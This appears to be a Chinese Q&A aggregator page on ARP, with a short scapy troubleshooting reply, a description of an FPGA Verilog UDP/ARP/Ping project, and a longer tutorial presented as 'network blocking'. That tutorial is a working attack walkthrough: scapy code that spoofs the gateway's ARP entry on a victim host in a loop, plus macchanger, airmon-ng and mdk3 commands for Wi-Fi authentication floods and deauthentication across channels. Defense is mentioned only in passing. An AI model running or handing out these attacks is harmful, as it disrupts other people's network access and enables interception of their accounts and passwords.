当前位置:首页 » 操作系统 » arp协议源码

arp协议源码

发布时间: 2025-04-15 11:18:01

‘壹’ 小白求助,scapy模块中无法使用ARP

我也是一直没有解决这个问题 但是今天突然发现scapy是有这个类的,但是好像是因为某些原因windows用不了这个 我在Linux里打开scapy

发现LINUX里貌似是可以用的,初步推断是因为平台的问题 因为看了一下源码 有一部分是判断执行的平台的,scapy把windows和其他系统分开了 不知道是什么原因 但是Linux好像是可用的

已经解决了 我在LINUX平台下实验成功,Linux是可用的

‘贰’ FPGA纯verilog实现UDP通信,三速网自协商仲裁,动态ARP和Ping功能,提供工程源码和技术支持


FPGA纯verilog设计实现了一套全面的UDP通信系统,包含自协商仲裁、动态ARP和Ping功能,旨在简化用户接口,提供直观易用的工程源码支持。本文将详细介绍设计的各个部分和实际应用实例。


1. 问题与现有解决方案


市面上的UDP实现存在局限,如缺乏ping功能、代码不公开或需要额外的license。本设计旨在解决这些问题,采用Micrel的KSZ9031RNX网络PHY芯片,以verilog实现:



  • 精简版UDP:提供Kintex7和Artix7的示例,仅含数据回环,无ping功能,节省资源。

  • 视频传输方案:基于精简版UDP,支持OV5640视频传输,有网线接口。

  • 官方三速网IP:速度快,数据量大,但需要license且功能单一。

  • 带ARP和ping的UDP:适用于Xilinx Kintex7和Artix7,支持数据回环。


2. 详细设计


实验基于RGMII通信,设计包括MAC层的发送和接收,以及IP层的ARP和UDP功能。MAC发送模块支持动态ARP和UDP/Ping,通过FPGA内部RAM回环数据,以验证功能。IP层采用树型加法结构计算校验和,保证数据的准确性。


3. 实现模块
-

    - MAC发送:处理ARP和UDP数据,有预定义的发送模式。
    - ARP发送:支持ARP请求和应答。
    - IP发送:区分UDP和ICMP,校验和计算方法一致。
    - UDP发送:处理数据写入、校验和计算及发送。
    - MAC接收:解析MAC头部,执行CRC校验,处理ARP和IP数据。
    - ARP接收:处理ARP请求和应答,存储接收到的地址信息。
    - IP接收:提取IP首部信息,校验和检查,处理UDP或ICMP数据。

4. 网络配置和调试


- 通过SMI读写控制管理PHY配置,实现10/100/1000M自适应和仲裁,涉及GMII-RGMII转换。
- 经过上板调试验证,包括ping测试、数据收发和速度切换测试,确保功能正常。
5. 获取工程代码

为了方便用户,工程代码提供网盘链接下载,具体内容详尽且可直接应用于实际项目中。


‘叁’ 如何在路由器上屏蔽部分网址局部网络屏蔽

如何在路由器上屏蔽部分网址(局部网络屏蔽)
有线网络屏蔽
ARP官方释意:地址解析协议,即ARP(AddressResolutionProtocol),是根据获取的一个。发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址(MAC);收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
实验环境:
Linuxparrot(攻击系统)
Linuxcentos(被攻击系统)
实验语言:python
Arp协议是网络不可缺少的一部分,由于arp协议存在一些不可修复的漏洞所以骇客也经常利用这个漏洞进行局域网攻击。攻击大致分为两种。(1)纯粹的网络攻击,迫使受害者无法使用网络(2)目的性攻击,arp欺骗获取局域网使用者的信息,盗取账号密码等敏感信息。
笔者的电脑是接入寝室网络的,本来想使用真实电脑作为攻击目标,鉴于室友正在使用,转移到虚拟机进行实验。
搭建实验环境
Linuxparrot(攻击系统)
Linuxcentos(被攻击系统)
我们可以看到终端显示的信息(网关一般是默认的)
攻击系统IP:192.168.163.146MAC:00:0c:29:41:75:aa
被攻击者IP:192.168.163.150MAC:00:0c:29:0b:09:89
网络测试依次使用两台机器ping网络显示信息如下
此信息说明可以连接外网,证明目前可以上网
使用攻击系统扫描本网段的信息,使用到的工具fping
扫描到目标IP使用arp-a命令确认一下信息如下:
确认无误,我的局域网中网关以2结尾,所以我们展开192.168.163.2和192.
168.163.150之间的攻击。
使用python的scapy模块,编写对应的ARP包进行发送,由于scapy有独立的交互模式,我们就直接在终端中进行编程。注意这里要进入root权限
核心源代码如下:
>>>a=ARP()
>>>a.show()
###[ARP]###
hwtype=0x1
ptype=IPv4
hwlen=None
plen=None
op=who-has
hwsrc=00:0c:29:41:75:aa
psrc=192.168.163.146
hwdst=00:00:00:00:00:00
pdst=0.0.0.0
>>>a.psrc='192.168.163.2'
>>>a.pdst='192.168.163.150'
>>>send(a,loop=1)
正在攻击目标
验证:
Ping网络没有反应,网关mac地址也被修改为攻击机的MAC地址
Python代码:
fromscapy.allimport*
importtime
importrandom
pdst=str(input("目标IP:"))
gw=str(input("网关IP:"))
a=ARP()
a.pdst=pdst
a.psrc=gw
a.hwsrc='b4:1e:89:20:43:A1'
while1:
send(a,loop=0)
time.sleep(random.uniform(10,5))
无线网络屏蔽
无线网络攻击相对上面的操作更加简单,纯工具攻击方案。首先需要一个攻击系统,我选用parrotsecurity系统,因为这个系统整合的工具比较全,现对于kali来说虽然没有什么较大的优势但是他的UI界面做的相当的好。
插入无线网卡
可以看到无线网卡被命名为了wlan0(因为一般都是这样命名的),使用airmon-ng将无线网专为mon模式,在这之前最好把网卡mac地址改变一下(我也不知道有什么用总之这样改感觉谨慎一些):
ifconfigwlan0down
Macchanger-mMACwlan0
ifconfgwlan0up
airmon-ngstartwlan0
接下来就可以使用wlan0mon进行无线网的查看了,记住名字已经变成wlan0mon了
使用airomp-ngwlan0mon或者wifete
打开就立刻扫到这两个wifi,实验目标是ruijie(传说中的我打我自己,吐槽一下锐捷客户端,不能开wifi就算了连虚拟机都不能用,让计算机专业的学生怎么搭建环境,虽然我不是计算机专业)。
直接开始攻击mdk3wlan0mona-iMAC-s速率
从连接状况可以看出来有大量的mac地址请求建立连接,当然我的手机已经没网了,大概就是0-20秒网络变的卡顿,之后完全失去网络通讯,当然这只是一个AP的攻击想要实现一定范围的网络中断其实也就是一个命令的事。mdk3wlan0mond-w白名单AP的mac-b黑名单AP的mac-c信道。回车键敲下去后果可想而知,网卡可能会坏掉哈哈…
这两种攻击方式有点不一样,第一个是洪水攻击利用大量的伪造mac迫使AP无法正常提供服务,第二种是直接进行解除认证。
Aircrack-ng套装是专门针对无线的一套工具,mdk3是专用的攻击工具,除了上面的案例还有许多可研究的使用方法。
总结:
两种比较常见的局域网攻击手段,单个拿出来看似确实没什么,但是两个组合在一起完全可以制造一个网络屏蔽空间,对目标造成一定的危害,虽然是局域网,但也请不要随意对他人使用,具体的防御方法在其他的文章中也有讲述,ARP攻防那篇文章有讲到如何预防ARP攻击,无线攻击预防方案只能在路由中进行设置,有些到目前为止都还没找到合适的防御方案。

热点内容
scratch少儿编程课程 发布:2025-04-16 17:11:44 浏览:618
荣耀x10从哪里设置密码 发布:2025-04-16 17:11:43 浏览:345
java从入门到精通视频 发布:2025-04-16 17:11:43 浏览:60
php微信接口教程 发布:2025-04-16 17:07:30 浏览:287
android实现阴影 发布:2025-04-16 16:50:08 浏览:780
粉笔直播课缓存 发布:2025-04-16 16:31:21 浏览:332
机顶盒都有什么配置 发布:2025-04-16 16:24:37 浏览:195
编写手游反编译都需要学习什么 发布:2025-04-16 16:19:36 浏览:784
proteus编译文件位置 发布:2025-04-16 16:18:44 浏览:348
土压缩的本质 发布:2025-04-16 16:13:21 浏览:576